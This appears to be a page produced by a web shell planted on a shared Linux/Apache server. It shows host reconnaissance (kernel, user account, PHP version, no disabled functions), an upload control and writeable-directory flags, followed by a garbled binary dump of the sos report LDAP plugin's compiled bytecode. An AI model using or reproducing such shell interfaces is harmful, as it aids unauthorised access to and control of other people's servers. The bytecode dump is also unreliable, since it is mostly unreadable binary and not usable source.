https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/sos/report/plugins/__pycache__/ldap.cpython-310.pyc
o

-�_g��@sRddlmZmZmZmZGdd�de�ZGdd�dee�ZGdd�deee�ZdS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugincs4eZdZdZdZdZdZ�fdd�Zdd�Z�Z	S)	�LdapzLDAP configuration�ldap)�identity�sysmgmt�systemz/etc/openldap/ldap.confcst���|�d�dS)N�/etc/ldap.conf)�super�setup�
add_copy_spec��self��	__class__��9/usr/lib/python3/dist-packages/sos/report/plugins/ldap.pyr
s
z
Ldap.setupcCs|�ddd�dS)Nr�(\s*bindpw\s*)\S+z\1******)�do_file_subrrrr�postprocsz
Ldap.postproc)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profiles�	ldap_confr
r�
__classcell__rrrrrsrc�0eZdZdZdZ�fdd�Z�fdd�Z�ZS)�
RedHatLdap)�openldapz
nss-pam-ldapd)r�/etc/pam_ldap.confcs<t���|�gd��|�|jddddg�|�d�dS)N)z/etc/openldap/certs/passwordz/etc/openldap/certs/pwfile.txtz/etc/openldap/certs/pin.txtz/etc/openldap/certs/*passw*z/etc/openldap/certs/key3.dbz/etc/openldap/certs/cert8.dbz/etc/openldap/certs/secmod.db�/etc/nslcd.confr#zcertutil -L -d /etc/openldap)rr
�add_forbidden_pathrr�add_cmd_outputrrrrr
!s
�zRedHatLdap.setupcs&t���dD]	}|�|dd�qdS)N)r$r#r�
\1********)rrr)r�filerrrr4s
��zRedHatLdap.postproc)rrr�packages�filesr
rrrrrrr!s
r!cr )�
DebianLdapz/etc/ldap/ldap.conf)�slapdz
ldap-utilscsft���d}|�|jdddg�|�d�|j|ddd�|j|d	d
d�|j|ddd�dS)
Nz,ldapsearch -Q -LLL -Y EXTERNAL -H ldapi:/// z/etc/slapd.confz/etc/ldap/slapd.dr$z+ldapsearch -x -b '' -s base 'objectclass=*'z/-b cn=config '(!(objectClass=olcSchemaConfig))'�configuration_minus_schemas)�suggest_filenamez-b cn=schema,cn=config dn�loaded_schemasz0-b cn=config '(olcAccess=*)' olcAccess olcSuffix�access_control_lists)rr
rrr&)r�ldap_searchrrrr
Cs*
�
��
�zDebianLdap.setupcs*t���|�ddd�|�ddd�dS)Nr$rr'�
ldapsearchz(olcRootPW\: \s*)\S+)rrr�do_cmd_output_subrrrrrZs
��zDebianLdap.postproc)rrrrr)r
rrrrrrr+>s
r+N)�sos.report.pluginsrrrrrr!r+rrrr�<module>s"

https://t.me/RX1948 - 2025